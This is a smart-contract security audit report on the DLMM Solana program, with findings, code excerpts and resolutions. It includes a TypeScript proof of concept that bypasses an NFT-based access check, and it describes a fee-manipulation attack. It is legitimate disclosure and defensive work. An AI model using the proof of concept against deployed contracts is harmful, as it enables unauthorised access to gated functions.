Sec3™

Security Assessment Report

DLMM

February 22, 2024

Summary

The Sec3 team (formerly Soteria) was engaged to conduct a thorough security analysis of the DLMM smart contracts.

The artifact of the audit was the source code of the following programs, excluding tests, in a private repository.

The initial audit focused on the following versions and revealed 19 issues or questions.

#	program	type	commit
P1	DLMM	Solana	`69a7f2057539fbd754270379b02ed77f5121d9b5`

The post-audit review was conducted on the following versions to verify whether the reported issues had been addressed.

#	program	type	commit
P1	DLMM	Solana	`f2b5b399d9e862f87f6cc1b44a575fdf83b0cc33`

This report provides a detailed description of the findings and their respective resolutions.

Table of Contents

Result Overview

Issue	Impact	Status
DLMM		
[M-01] Alpha access validation can be bypassed	Medium	Resolved
[M-02] Variable fee manipulation	Medium	Resolved
[L-01] Rewards may become unclaimable in a corner case	Low	Resolved
[L-02] First liquidity provider may get extra rewards	Low	Resolved
[L-03] Improper rewards distributation design in swap	Low	Resolved
[I-01] Composition fee issues	Info	Acknowledged
[I-02] Missing minimum input amount threshold validations	Info	Acknowledged
[I-03] Pow calculation error in a corner case	Info	Resolved
[I-04] Missing check of malformed bin_liquidity_dist	Info	Resolved
[I-05] Better oracle update	Info	Acknowledged
[I-06] Inconsistent bin id range check	Info	Resolved
[I-07] Inconsistent behaviors when amount_into_bin is 0	Info	Resolved
[I-08] Missing update repeatability check in update_fee_parameters	Info	Acknowledged
[I-09] Missing bin_array validation in claim_reward and claim_fee	Info	Resolved
[I-10] Better proptests	Info	Acknowledged
[I-11] Clippy complaints	Info	Acknowledged
[I-12] get_max_total_fee only used in tests	Info	Resolved
[I-13] out_amounts assigned but not used	Info	Acknowledged
[Q-01] Actual active_id vs. user-proveded active_id	Question	Acknowledged

Findings in Detail

DLMM

[M-01] Alpha access validation can be bypassed

```
/* programs/lb_clmm/src/instructions/initialize_position.rs */
pub fn handle(ctx: Context<InitializePosition>, lower_bin_id: i32, width: i32) -> Result<()> {
    #[cfg(feature = "alpha-access")]
    {
        let mut remaining_accounts = ctx.remaining_accounts;
        validate_alpha_access(ctx.accounts.owner.key(), &mut remaining_accounts)?;
    }

/* programs/lb_clmm/src/instructions/utils.rs */
#[derive(Accounts)]
pub struct AlphaAccess<'info> {
    pub access_ticket: Account<'info, TokenAccount>,
    /// CHECK: Will be validated in the handle function
    #[account(
        seeds = [
            "metadata".as_bytes(),
            mpl_token_metadata::ID.as_ref(),
            access_ticket.mint.as_ref(),
        ],
        bump,
        seeds::program = mpl_token_metadata::ID,
    )]
    pub ticket_metadata: UncheckedAccount<'info>,
}
```

The current implementation (if alpha-access feature enabled) ensures alpha access for a subset of users by distributing NFTs to them and checking whether users hold the corresponding NFT in the "`initialize_position`" function. However, in the "`validate_alpha_access`" function, the check for whether a user holds the NFT does not validate the NFT's amount. Therefore, a malicious attacker can potentially bypass the check by directly using the mint of the corresponding NFT to create an ATA.

Exploit PoC

This issue can be exploited by the following TypeScript code snippet:

```
it("bypass NFT check to create position", async () => {
  const positionKeypair = web3.Keypair.generate();
  const program = createLbClmmProgram(walletWithoutNft, LB_CLMM_PROGRAM_ID);
  const emptyATA = await getOrCreateAssociatedTokenAccount(
    provider.connection,
    keypair,
    new web3.PublicKey("AMb9XGm8bPNi8hC7cUg2z7vFWEZtK2N4ZJCUSimdS9pK"), // mint
    program.provider.publicKey);

  console.log(emptyATA.address.toBase58());

  await program.methods
    .initializePosition(activeId.toNumber(), 1)
    .accounts({
      lbPair,
      owner: program.provider.publicKey,
      payer: program.provider.publicKey,
      position: positionKeypair.publicKey,
      rent: web3.SYSVAR_RENT_PUBKEY,
      systemProgram: web3.SystemProgram.programId,
    })
    .signers([positionKeypair])
    .remainingAccounts([
      {
        isSigner: false,
        isWritable: false,
        pubkey: emptyATA.address,
      },
      {
        isSigner: false,
        isWritable: false,
        pubkey: adminNftMetadataAddress,
      },
    ])
    .rpc();
});
```

Please note that it is essential to ensure the existence of the mint account for this NFT in the localnet to ensure that the POC functions properly. (This is only because the account is not present in the localnet and does not impose any constraints on exploiting this vulnerability in a real-world scenario.)


```
{
    "pubkey": "AMb9XGm8bPNi8hC7cUg2z7vFWEZtK2N4ZJCUSimdS9pK",
    "account": {
        "lamports": 1461600,
        "data":
        [ "DK9N2aEW8HZixo7A59DWfa1LbunCpphgDmwvCUuNtfGKwoBwveCWHiLduLW7Bv3WyNNr9gZRzQRUoodrqDF2zR12vLSeHEtd9UHCmapG62ovMUm",
        "base58"
```

```
        ],
        "owner": "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA",
        "executable": false,
        "rentEpoch": 0,
        "space": 82
    }
}
```

Resolution

This issue has been resolved in commit 226fd25b83696130f1d11f8195550fde3bc71d90.

DLMM

[M-02] Variable fee manipulation

In DLMM, the total swap fee (f_s) will have two components: a base fee (f_b) and a variable fee (f_v), which is a function of instantaneous price volatility. And the variable fee for a bin $f_v(k)$ will be calculated using the variable fee control parameter (A), bin step (s) and the volatility accumulator ($v_a(k)$):

$$f_v(k) = A \cdot (v_a(k) \cdot s)^2$$

The volatility accumulator in this formula is the witness of the current volatility of the pair and its value depends on volatility reference and index reference. These two values are updated by the following code snippet:

```rust
/* programs/lb_clmm/src/state/parameters.rs */
/// Update id, and volatility reference
pub fn update_references(
    &mut self,
    active_id: i32,
    current_timestamp: i64,
    static_params: &StaticParameters,
) -> Result<()> {
    let elapsed = current_timestamp.safe_sub(self.last_update_timestamp)?;

    // Not high frequency trade
    if elapsed >= static_params.get_filter_period() as i64 {
        // Update active id of last transaction
        self.index_reference = active_id;
        // filter period < t < decay_period. Decay time window.
        if elapsed < static_params.get_decay_period() as i64 {
            let volatility_reference = self
                .volatility_accumulator
                .safe_mul(static_params.reduction_factor as u32)?
                .safe_div(BASIS_POINT_MAX as u32)?;

            self.volatility_reference = volatility_reference;
        }
        // Out of decay time window
        else {
            self.volatility_reference = 0;
        }
    }

    self.last_update_timestamp = current_timestamp;

    Ok(())
}
```

Since this function is called both during "`add_liquidity`" and "`swap`" operations, if its invocation becomes excessively frequent, the condition at L138 will never be satisfied due to the continuous updating of "`last_update_timestamp`". Consequently, "`index_reference`" and "`volatility_reference`" cannot be updated. Such actions would keep the volatility accumulator at a relatively high level, resulting in a higher overall variable fee. Therefore, a malicious liquidity provider could maintain fees at an elevated level (approaching the upper limit of 10%) through frequent "`add_liquidity`" or "`swap`" operations, thereby gaining more profits. This could also lead to user attrition, effectively achieving a form of denial-of-service attack.

Recommendations

Consider not updating "`last_update_timestamp`" if volatility reference is not updated.

Reference

A similar issue in Trader Joe v2 on code4rena: https://code4rena.com/reports/2022-10-trader-joe#m-05-attacker-can-keep-fees-max-at-no-cost.

Resolution

This issue has been resolved in commit 60c451a1cbf6227c158b7b7f9436123b7978f415.

DLMM

[L-01] Rewards may become unclaimable in a corner case

In DLMM, the admin or funder has the ability to provide farming rewards. These rewards are distributed among the liquidity providers who supply liquidity to the active bin.

```
/* programs/lb_clmm/src/state/lb_pair.rs */
pub fn update_rate_after_funding(
    &mut self,
    current_time: u64,
    funding_amount: u64,
) -> Result<()> {
    let reward_duration_end = self.reward_duration_end;
    let total_amount: u64;

    if current_time >= reward_duration_end {
        total_amount = funding_amount
    } else {
        let remaining_seconds = reward_duration_end.safe_sub(current_time)?;
        let leftover: u64 = safe_mul_shr_cast(
            self.reward_rate,
            remaining_seconds.into(),
            SCALE_OFFSET,
            Rounding::Down,
        )?;

        total_amount = leftover.safe_add(funding_amount)?;
    }

    self.reward_rate = safe_shl_div_cast(
        total_amount.into(),
        self.reward_duration.into(),
        SCALE_OFFSET,
        Rounding::Down,
    )?;
    self.last_update_time = current_time;
    self.reward_duration_end = current_time.safe_add(self.reward_duration)?;

    Ok(())
}
```

When the admin or funder calls "`fund_reward`" to provide new rewards or extend the distribution end time, the "`update_rate_after_funding`" function will be invoked to update the "`reward_rate`" for subsequent reward distribution calculations. In the "`update_rate_after_funding`" function, if the previous reward is still in the distribution phase, the remaining reward from before, along with the newly added reward (if any), is combined to determine the updated "`reward_rate`". However, in tallying the remaining reward, the current implementation uses incorrect time values; at lines 166 and 169, "`current_time`" is used instead of "`self.last_update_time`". In the rare scenario where there is no liquidity in the active bin, and "`current_time`" differs from "`last_update_time`", this leads to a situation where a portion of the reward is locked in the "`reward_vault`" and cannot be withdrawn.

Resolution

This issue has been resolved in commit 9eba8b4adb457fb4da965042ae46872c56b96075.

DLMM

[L-02] First liquidity provider may get extra rewards

The process of distributing rewards to liquidity providers involves two calculation steps. Firstly, in the "update_all_rewards" function, for each bin, a "reward_per_token_stored" value is maintained for each type of reward. This value represents the cumulative sum of the reward quantity to be allocated for each LP token in the respective bin. In the "update_reward_per_token_stored function", for each bin involved in the liquidity provider's position, if the current observed "reward_per_token_stored" differs from the last observed value, it indicates pending rewards for allocation. Consequently, the "reward_pendings" of the position are updated.

```
/* programs/lb_clmm/src/state/bin.rs */
413 | pub fn update_all_rewards(
414 |     &mut self,
415 |     lb_pair: &mut RefMut<'_, LbPair>,
416 |     current_time: u64,
417 | ) -> Result<()> {
418 |     for reward_idx in 0..NUM_REWARDS {
419 |         let bin = self.get_bin_mut(lb_pair.active_id)?;
420 |         let reward_info = &mut lb_pair.reward_infos[reward_idx];
421 |         if reward_info.initialized() && bin.liquidity_supply > 0 {
422 |             let reward_per_token_stored_delta = reward_info
423 |                 .calculate_reward_per_token_stored_since_last_update(
424 |                     current_time,
425 |                     bin.liquidity_supply,
426 |                 )?;
427 |
428 |             bin.reward_per_token_stored[reward_idx] =
429 |                 bin.reward_per_token_stored[reward_idx]
430 |                     .safe_add(reward_per_token_stored_delta)?;
431 |
432 |             reward_info.update_last_update_time(current_time);
433 |         }
434 |     }
435 |     Ok(())
436 | }
```

In a rare scenario similar to L-1, where there is no liquidity in the active bin but there are ongoing reward distributions, the "reward_per_token_stored" for the active bin and the "last_update_time" of the corresponding reward remain not updated due to the constraint imposed by L421.

```rust
/* programs/lb_clmm/src/state/lb_pair.rs */
pub fn calculate_reward_per_token_stored_since_last_update(
    &self,
    current_time: u64,
    liquidity_supply: u64,
) -> Result<u128> {
    let last_time_reward_applicable = std::cmp::min(current_time, self.reward_duration_end);

    let time_period = last_time_reward_applicable
        .safe_sub(self.last_update_time.into())?
        .into();

    safe_mul_div_cast(
        time_period,
        self.reward_rate,
        liquidity_supply.into(),
        Rounding::Down,
    )
}
```

Once a liquidity provider adds liquidity, the rewards received by this liquidity provider will include all rewards accumulated during the period when there was no liquidity, as the "`last_update_time`" was not updated during that time.

Resolution

This issue has been resolved in commit 9eba8b4adb457fb4da965042ae46872c56b96075.

DLMM

[L-03] Improper rewards distributation design in swap

```
/* programs/lb_clmm/src/instructions/swap.rs */
214 | lb_pair.next_bin_array_index_with_liquidity(
215 |     swap_for_y,
216 |     &ctx.accounts.bin_array_bitmap_extension,
217 | )?;
229 | // The active bin have liquidity if the trim doesn't move pair active id from starting active id
230 | if start_active_id == lb_pair.active_id {
231 |     active_bin_array.update_all_rewards(&mut lb_pair, current_timestamp as u64)?;
232 | }
```

When conducting a swap, rewards are updated only if the active bin has liquidity in the direction required for the swap. This design presents two issues:

1. If the preceding swap has depleted the liquidity in the required direction, the movement of the active bin will not occur until L214 of this swap. However, the previous active bin will not receive the deserved rewards.

2. If a swap results in multiple movements of the active bin, the liquidity providers in the intermediate bins, who contribute to the success of the swap, do not receive rewards.

Resolution

This issue has been resolved in commit 60c451a1cbf6227c158b7b7f9436123b7978f415.

DLMM

[I-01] Composition fee issues

When performing the add liquidity operation, if the bins involved in adding liquidity include the active bin, and the ratio of adding liquidity to the two tokens in the active bin does not conform to the original composition, it is equivalent to conducting a swap, necessitating the imposition of a composition fee. However, in the current implementation, there are certain issues related to the composition fee:

1. **Rounding:** In the "`compute_composition_fee`" function, the process of calculating the composition fee does not involve rounding up, while the calculation for other fees uniformly employs rounding up.
2. **Compounding:** For the swap fee, the code implementation aligns with the description in the documentation, wherein fees are stored in reserve accounts and require manual extraction by users. Meanwhile, the composition fee is integrated into the bin.
3. **Distribution:** As mentioned in the second issue, the current implementation directly stores the composition fee in the bin. This results in the composition fee being allocated to all liquidity providers in the current bin, including the provider who paid the composition fee. Generally, the distribution of such fees should not include the user who paid the fee.
4. **Calculation:** The reason for charging a composition fee is that some add liquidity operations may be equivalent to first performing a swap. Therefore, from a design perspective, the value of the composition fee should be identical to the transaction fees incurred by first conducting a swap and then adding liquidity in a manner consistent with the composition. However, due to the divergent approaches to fee handling between DLMM and Trader Joe, directly applying Trader Joe's composition fee formula may not be accurate, resulting in a slightly higher composition fee being charged compared to the fees incurred by first performing a swap.

Resolution

The team clarified that they have a PR for this issue. However, the fix will have an impact on their current integration. Therefore, the team acknowledges this issue at this moment.

DLMM

[I-02] Missing minimum input amount threshold validations

In DLMM, several interfaces such as "`add_liquidity`" and swap lack minimum threshold on the user input amount to perform corresponding operations. This can result in the following two issues:

1. Smaller values are relatively more susceptible to the impact of precision loss in calculations.
2. In the case of "`add_liquidity`", for bins with non-zero weights, the corresponding bin is allocated a token amount of 0 due to insufficient total in amount.

Resolution

The team acknowledged this issue.

DLMM

[I-03] Pow calculation error in a corner case

In DLMM, price in each bin is calculated by "`pow(bin_id, 1 + bin_step/10000)`".

```
/* programs/lb_clmm/src/math/u64x64_math.rs */
017 | const MAX_EXPONENTIAL: u32 = 0x80000; // 1048576
018 |
019 | // 1.0000... representation of 64x64
020 | pub const ONE: u128 = 1u128 << SCALE_OFFSET;
021 |
022 | pub fn pow(base: u128, exp: i32) -> Option<u128> {
034 |     // No point to continue the calculation as it will overflow the maximum value Q64.64 can
    ↪ support
035 |     if exp > MAX_EXPONENTIAL {
036 |         return None;
037 |     }
168 |     squared_base = (squared_base.checked_mul(squared_base)?) >> SCALE_OFFSET;
169 |     if exp & 0x40000 > 0 {
170 |         result = (result.checked_mul(squared_base)?) >> SCALE_OFFSET
171 |     }
172 |
173 |     // Stop here as the next is 20th bit, which > MAX_EXPONENTIAL
183 | }
```

However, in the "`pow`" function, there exists a minor error that when "`exp`" equals "`MAX_EXPONENTIAL`", the "`pow`" function will not terminate prematurely and will instead return an incorrect result of 1.

While in most functions, there is a check for the reasonable range of "`bin_id`" based on "`bin_step`" before calculating prices, it seems that relevant checks are missing in "`initialize_lp_pair`". This results in the creation of "`lp_pair`"'s with an illegal "`active_id`".

Recommendations

Consider change the "`>`" condition on L35 to "`>=`" and add a check for whether "`bin_id`" in "`initialize_lp_pair`" is valid.

Resolution

This issue has been resolved in commit afb5a8d6ee9bac269d87c4ecb16ea7a0d6dac0c6.

DLMM

[I-04] Missing check of malformed bin_liquidity_dist

```
/* programs/lb_clmm/src/instructions/add_liquidity.rs */
let in_amount_x = &liquidity_parameter.amount_x;
let in_amount_y = &liquidity_parameter.amount_y;

// Distribution index
let mut total_in_amount_x = 0;
let mut total_in_amount_y = 0;

for bin_liquidity_dist in liquidity_parameter.bin_liquidity_dist.iter() {
    let in_id = bin_liquidity_dist.bin_id;
    let distribution_x = bin_liquidity_dist.distribution_x;
    let distribution_y = bin_liquidity_dist.distribution_y;
    let amount_x_into_bin = get_amount_into_bin(*in_amount_x, distribution_x.into())?;
    let amount_y_into_bin = get_amount_into_bin(*in_amount_y, distribution_y.into())?;

    if let Some(event) = deposit_in_bin_id(
        in_id,
        amount_x_into_bin,
        amount_y_into_bin,
        &mut lb_pair,
        &mut position,
        &mut bin_array_manager,
        ctx.accounts.owner.key(),
    )? {
        emit_cpi!(event);
    };

    total_in_amount_x = total_in_amount_x.safe_add(amount_x_into_bin)?;
    total_in_amount_y = total_in_amount_y.safe_add(amount_y_into_bin)?;
}

ctx.transfer_to_reserve_x(total_in_amount_x)?;
ctx.transfer_to_reserve_y(total_in_amount_y)?;
```

In the "`add_liquidity`" function, users are required to provide the proportional distribution, "`bin_liquidity_dist`", for allocating token x and token y to the "`bin_array`". However, there is no validation in the program to ensure that the sum of these proportions is equal to 1 (which should be "`BASIS_POINT_MAX`" in the program).

While the absence of this check does not introduce any security concerns due to the total amount of tokens transferred by the user being the sum of the actual allocated token amounts, it is recommended to introduce a corresponding validation within the contract. This will enhance the self-contained nature of the contract, even if a similar check may already exist in the front end.

Resolution

This issue has been resolved in commit d10b8f2442bc33257af2f660ad0d972c92377eaf.

DLMM

[I-05] Better oracle update

```rust
/* programs/lb_clmm/src/instructions/swap.rs */
pub fn handle<'a, 'b, 'c, 'info>(
    ctx: Context<'a, 'b, 'c, 'info, Swap<'info>>,
    amount_in: u64,
    min_amount_out: u64,
) -> Result<()> {
    require!(amount_in > 0, LBError::InvalidInput);

    let mut lb_pair = ctx.accounts.lb_pair.load_mut()?;
    let swap_for_y = lb_pair.swap_for_y(ctx.accounts.user_token_out.mint);

    // Update decay of volatility accumulator
    let current_timestamp = Clock::get()?.unix_timestamp;
    lb_pair.update_references(current_timestamp)?;

    let mut dynamic_oracle = ctx.accounts.oracle.load_content_mut()?;
    dynamic_oracle.update(lb_pair.active_id, current_timestamp)?;
```

During each swap, the update method of the oracle is invoked to maintain a time-weighted average price. However, the current implementation places the update for the oracle before the swap. It is recommended to move the update after the swap to ensure that the active id used for the update reflects the most recent active id after the swap.

Resolution

The team acknowledged this issue.

DLMM

[I-06] Inconsistent bin id range check

```
/* programs/lb_clmm/src/instructions/add_liquidity_by_weight.rs */
fn get_supported_bin_range(bin_step: u16) -> Result<(i32, i32)> {
    match bin_step {
        1 => Ok((-100000, 100000)),
        2 => Ok((-80000, 80000)),
        5 => Ok((-60000, 60000)),
        8 => Ok((-40000, 40000)),
        10 => Ok((-20000, 20000)),
        15 => Ok((-18000, 18000)),
        20 => Ok((-16000, 16000)),
        25 => Ok((-14000, 14000)),
        50 => Ok((-7000, 7000)),
        100 => Ok((-2900, 2900)),
        _ => Err(LBError::InvalidInput.into()),
    }
}

// boundary of bin id that satisfy our assertions
let (min_bin_id, max_bin_id) = get_supported_bin_range(bin_step)?;
if first_bin_id < min_bin_id || last_bin_id > max_bin_id {
    return Err(LBError::InvalidInput.into());
}
```

In the "`add_liquidity_by_weight`" instruction, the current implementation imposes a more stringent range restriction on the bin id for increasing liquidity. However, this restriction is not present in "`add_liquidity_one_side`", which is very similar to "`add_liquidity_by_weight`", and "`add_liquidity`".

Resolution

This issue has been resolved in commit 5b12e9fc02e2360193f955ebbc9d3b5a174fcae2.

DLMM

[I-07] Inconsistent behaviors when amount_into_bin is 0

```
/* programs/lb_clmm/src/instructions/add_liquidity_one_side.rs */
for (i, bin_liquidity_dist) in liquidity_parameter.bin_liquidity_dist.iter().enumerate() {
    let in_id = bin_liquidity_dist.bin_id;
    let amount_into_bin = in_amounts[i];

    if amount_into_bin == 0 {
        continue;
    }
```

In the "`add_liquidity_one_side`" instruction, after calculating the token amount needed to increase liquidity for each desired bin, an additional check is performed to verify whether this amount is zero. If it is, the execution skips directly to the processing of the next bin. However, this check (optimization) is not present in "`add_liquidity`" and "`add_liquidity_by_weight`". It is worth noting that the absence of this check not only affects performance but may also simplify the exploitation of issue M-2.

Resolution

This issue has been resolved in commit f2b5b399d9e862f87f6cc1b44a575fdf83b0cc33.

DLMM

[I-08] Missing update repeatability check in update_fee_parameters

```
/* programs/lb_clmm/src/instructions/update_fee_parameters.rs */
impl FeeParameter {
    fn validate(&self) -> Result<()> {
        require!(
            self.protocol_share <= MAX_PROTOCOL_SHARE,
            LBError::InvalidFeeParameter
        );
        Ok(())
    }
}

pub fn handle(ctx: Context<UpdateFeeParameters>, fee_parameter: FeeParameter) -> Result<()> {
    fee_parameter.validate()?;

    let mut lb_pair = ctx.accounts.lb_pair.load_mut()?;
    lb_pair.parameters.update(&fee_parameter);

    Ok(())
}
```

Admin of the protocol can adjust the proportion of the protocol fee by invoking the "`update_fee_parameters`" instruction. However, in this instruction, the current implementation only checks whether the protocol fee is below the threshold of 25%, without verifying whether the new value aligns with the original value, as done in other update instructions. Although this does not introduce any security vulnerabilities, for the sake of code style consistency, it is recommended to incorporate relevant checks.

Resolution

The team acknowledged this issue.

DLMM

[I-09] Missing bin_array validation in claim_reward and claim_fee

```
/* programs/lb_clmm/src/instructions/claim_fee.rs */
let mut bin_arrays = [
    ctx.accounts.bin_array_lower.load_mut()?,
    ctx.accounts.bin_array_upper.load_mut()?,
];

let mut bin_array_manager = BinArrayManager::new(&mut bin_arrays)?;
bin_array_manager.update_rewards(&mut lb_pair)?;

position.update_earning_per_token_stored(&bin_array_manager)?;

/* programs/lb_clmm/src/instructions/close_position.rs */
let mut bin_arrays = [
    ctx.accounts.bin_array_lower.load_mut()?,
    ctx.accounts.bin_array_upper.load_mut()?,
];

let mut bin_array_manager = BinArrayManager::new(&mut bin_arrays)?;
bin_array_manager.validate_bin_arrays(position.lower_bin_id)?;

// Update reward per liquidity store for active bin
bin_array_manager.update_rewards(&mut lb_pair)?;

// Calculate claimable reward from last update until now
position.update_earning_per_token_stored(&bin_array_manager)?;
```

In most instructions that require two bin arrays as inputs, the "`validate_bin_arrays`" function of the "`bin_array_manager`" is called to check whether the two bin arrays are contiguous, in ascending order, and whether the "`lower_bin_id`" meets the requirement of the position. However, this check is missing in the "`claim_fee`" and "`claim_reward`" instructions.

```
/* programs/lb_clmm/src/state/position.rs */
/// Update reward + fee earning
pub fn update_earning_per_token_stored(
    &mut self,
    bin_array_manager: &BinArrayManager,
) -> Result<()> {
    let (bin_arrays_lower_bin_id, bin_arrays_upper_bin_id) =
        bin_array_manager.get_lower_upper_bin_id()?;

    // Make sure that the bin arrays cover all the bins of the position.
    // TODO: Should we? Maybe we shall update only the bins the user are interacting with, and
    ↪ allow chunk for claim reward.
    require!(
        self.lower_bin_id >= bin_arrays_lower_bin_id
            && self.upper_bin_id <= bin_arrays_upper_bin_id,
```

```
161 |         LBError::InvalidBinArray
162 |     );
163 |
164 |     for bin_id in self.lower_bin_id..=self.upper_bin_id {
165 |         let bin = bin_array_manager.get_bin(bin_id)?;
166 |         self.update_reward_per_token_stored(bin_id, &bin)?;
167 |         self.update_fee_per_token_stored(bin_id, &bin)?;
168 |     }
169 |
170 |     Ok(())
171 | }
```

However, in the "`claim_fee`" and "`claim_reward`" instructions, subsequent calls to "`update_earning_per_token_stored`" address this issue. The checks from lines 158 to 162 ensure that the two bin arrays are in ascending order, while lines 164 and 165 guarantee that the two bin arrays cover all bins required by the position. One scenario not covered by the check is when the position requires only one "`bin_array`" to cover, and for the other "`bin_array`", the user can pass in any array. However, since the loop at line 164 only iterates over all "`bin_ids`" needed by the position and both "`bin_arrays`" are loaded using "`load_mut`", ensuring they cannot be identical, this missing check does not pose any security risks.

Resolution

This issue has been resolved in commit 8c0494c0120502d73f1d93a55043721f65fd75ea.

DLMM

[I-10] Better proptests

In DLMM, the developers have employed an extensive set of tests to ensure the implementation is secure and functions as expected, including property tests. However, there are two points in the use of proptest that could be improved.

```
/* programs/lb_clmm/src/instructions/add_liquidity_by_weight.rs */
855 | fn test_in_amounts(
856 |             amount_x in 0..u64::MAX / 4,
857 |             amount_y in 0..u64::MAX / 4,
858 |             amount_x_in_active_bin in 0..u64::MAX/ 4,
859 |             amount_y_in_active_bin in 0..u64::MAX/ 4,
860 |             active_id in MIN_BIN_ID..=MAX_BIN_ID,
861 |             num_bin in 1..MAX_BIN_PER_POSITION,
862 |             side_type in 0..4u16,
863 |
864 |         ){
865 |             if side_type == 2 || side_type == 3 {
866 |                 if num_bin < 3 {
867 |                     return Ok(());
868 |                 }
869 |             }
870 |             for &bin_step in PRESET_BIN_STEP.iter(){
871 |                 let (min_bin_id, max_bin_id) = get_supported_bin_range(bin_step).unwrap();
872 |                 if active_id < min_bin_id || active_id > max_bin_id {
873 |                     continue;
874 |                 }
875 |                 let liquidity_parameter = new_liquidity_parameter(amount_x, amount_y, active_id,
↪ num_bin, side_type);
876 |                 if !liquidity_parameter.validate(active_id, bin_step).is_err() {
903 |                 }
904 |             }
905 |         }
```

The first point involves making the tests as thorough and effective as possible.

In the example mentioned above, lines 872 to 874 check whether the "`active_id`" is within the supported range, and if not, the current iteration is skipped. Additionally, line 876 checks if the "`liquidity_parameter`" is valid, and if not, it skips the iteration as well. However, through some testing, it was found that the majority of generated "`liquidity_parameters`" are invalid, leading to insufficient testing.

Consideration could be given to adjusting the data generation method to satisfy the constraints of lines 872-874 and line 876.

After adjustment, a set of failing inputs can be identified: "amount_x" = 1, "amount_y" = 1, "amount_x_in_active_bin" = 0, "amount_y_in_active_bin" = 0, "raw_active_id" = 0, "num_bin" = 3, "side_type" = 2, corresponding to issue I-2 in the report.

```
/* programs/lb_clmm/src/tests/reward_integration_tests.rs */
fn test_reward_precision(
    funding_amount in 100u64..=1_000_000_000_000_000u64,
    liquidity_share in 100u64..=1_000_000_000_000_000u64,
    step in 10u64..=1000u64,
) {
    let active_id = 0;
    let reward_index = 0;
    let init_current_time = 100_000;
    let mut current_time = init_current_time;

    // 0. init lb_pair, binArray and position
    let lb_pair = init_lb_pair(active_id);
    let mut lb_pair = lb_pair.try_borrow_mut().unwrap();

    let mut bin_array = init_bin_array(active_id);
    let mut position = init_position(active_id);

    let reward_duration = 10_000;
    init_reward(&mut lb_pair, reward_index, reward_duration);

    let mut rng = rand::thread_rng();
    let mut i = 0;

    let mut total_funding_amount = 0;
    let mut total_claimed_reward = 0;
    while i < step {
        let passed_duration = rng.gen_range(0, reward_duration / step);
        current_time += passed_duration;
        match rng.gen_range(0, 4) {
            0 => {
```

The second point is to avoid using random numbers in proptest.

There are two drawbacks to using random numbers. The first and more apparent drawback is that using random numbers without initializing with a fixed seed hinders proptest from minimizing failing inputs. The second point is that there is no necessity to use random numbers in this context; replacing the parts generated using random numbers with proptest can make the testing more comprehensive.

In “`test_reward_precision`”, by having proptest generate choices instead of randomly generating selections between 0 and 4, a set of failing inputs can be identified: “`funding_amount`” = 631045156058080, “`liquidity_share`” = 320513889076600, “`choices`” = [0, 3, 3, 0, 0, 2, 3, 2, 2, 3], corresponding to issue L-1.

Resolution

The team acknowledged this issue.

DLMM

[I-11] Clippy complaints

When utilizing "`Cargo Clippy`" for code analysis, numerous issues are reported. While these issues may not pose any security concerns, addressing some of the more critical ones can optimize computational units and enhance code readability.

Resolution

The team acknowledged this issue.

DLMM

[I-12] get_max_total_fee only used in tests

```
/* programs/lb_clmm/src/state/lb_pair.rs */
impl LbPair {
    /// Maximum fee rate
    fn get_max_total_fee(&self) -> Result<u128> {
        let max_total_fee_rate = self
            .get_base_fee()?
            .safe_add(self.compute_variable_fee(self.parameters.max_volatility_accumulator)?)?;

        let total_fee_rate_cap = std::cmp::min(max_total_fee_rate, MAX_FEE_RATE.into());
        Ok(total_fee_rate_cap)
    }
}
#[cfg(test)]
mod lb_pair_test {
    #[test]
    fn test_get_total_fee_rate_cap() {
        let total_fee_rate = create_lb_pair_max().get_max_total_fee();
        assert!(total_fee_rate.is_ok());
        assert_eq!(total_fee_rate.unwrap(), MAX_FEE_RATE as u128);
    }

    #[test]
    fn test_get_total_fee_rate_fits_u128() {
        let total_fee_rate = create_lb_pair_max().get_max_total_fee();
        assert!(total_fee_rate.is_ok())
    }
}
```

"`get_max_total_fee`" is only called in the test cases, while it is located in "`LbPair`".

Recommendations

It is recommended to move "`get_max_total_fee`" into "`lb_pair_test`", or add a conditional compilation option.

Resolution

This issue has been resolved in commit 69ef55fda1e5caef59e6d0bb44ff4ea7885af8fb.

DLMM

[I-13] out_amounts assigned but not used

```
/* programs/lb_clmm/src/instructions/remove_liquidity.rs */
068 | pub fn handle<'a, 'b, 'c, 'info>(
069 |     ctx: Context<'a, 'b, 'c, 'info, ModifyLiquidity<'info>>,
070 |     bin_liquidity_reduction: Vec<BinLiquidityReduction>,
071 | ) -> Result<()> {
092 |
093 |     let mut total_amount_x = 0;
094 |     let mut total_amount_y = 0;
095 |     let mut out_amounts = vec![[0u64; 2]; bin_liquidity_reduction.len()];
096 |
097 |     let before_liquidity_flags = bin_array_manager.get_zero_liquidity_flags();
098 |
099 |     for (i, info) in bin_liquidity_reduction.iter().enumerate() {
117 |
118 |         total_amount_x = total_amount_x.safe_add(amount_x)?;
119 |         total_amount_y = total_amount_y.safe_add(amount_y)?;
120 |
121 |         out_amounts[i] = [amount_x, amount_y];
122 |     }
150 | }
```

The value "`out_amounts`" is set at L121, while it is never used.

Recommendations

It is recommended to remove "`out_amounts`".

Resolution

The team acknowledged this issue.

DLMM

[Q-01] Actual active_id vs. user-proveded active_id

In the "`add_liquidity_by_weights`" instruction, users can increase liquidity for a series of bins, including the active bin. When invoking this instruction, users are also required to provide an observed "`active_id`", which the program compares with the actual "`active_id`". If the difference exceeds a preset slippage limit, the transaction is reverted to protect the user in the event of price fluctuations. However, if the disparity between the user's expected "`active_id`" and the actual "`active_id`" is within the slippage limit, there may be a variance in the calculation method for the weights of bins located between the user's expected "`active_id`" and the actual "`active_id`".

Consider a simplified extreme scenario where there are only 5 bins ranging from 0 to 4. Suppose a user intends to increase liquidity using assets valued at 60 for Y and 10 for X (using values instead of amount for simplification, as weights are reflective of value?). The user provides an "`active_id`" of 3 and weights [20, 0, 40, 0, 10], while the actual "`active_id`" is 1. Consequently, the user-provided weights of 40 for bin 2 will shift from the bid side to the ask side. At this point, the calculated value of k will only be one-fifth of what the user expected.

We would like to inquire whether this disparity poses a concern. Does it make sense to shift the user-provided weights based on this disparity?

Resolution

The team clarified that when Client simulate add liquidity, they will get simulated amount in each bin, that forms liquidity shape for their position, but if "`active_id`" is shifted when transaction is settled, the real liquidity shape will be different. The slippage check for "`active_id`" will ensure that the final liquidity shape is not much different from what client expects.

Appendix: Methodology and Scope of Work

The Sec3 (formerly Soteria) audit team, which consists of Computer Science professors and industrial researchers with extensive experience in smart contract security, program analysis, testing and formal verification, performed a comprehensive manual code review, software static analysis and penetration testing.

Assisted by the Sec3 Scanner developed in-house, the audit team particularly focused on the following work items:

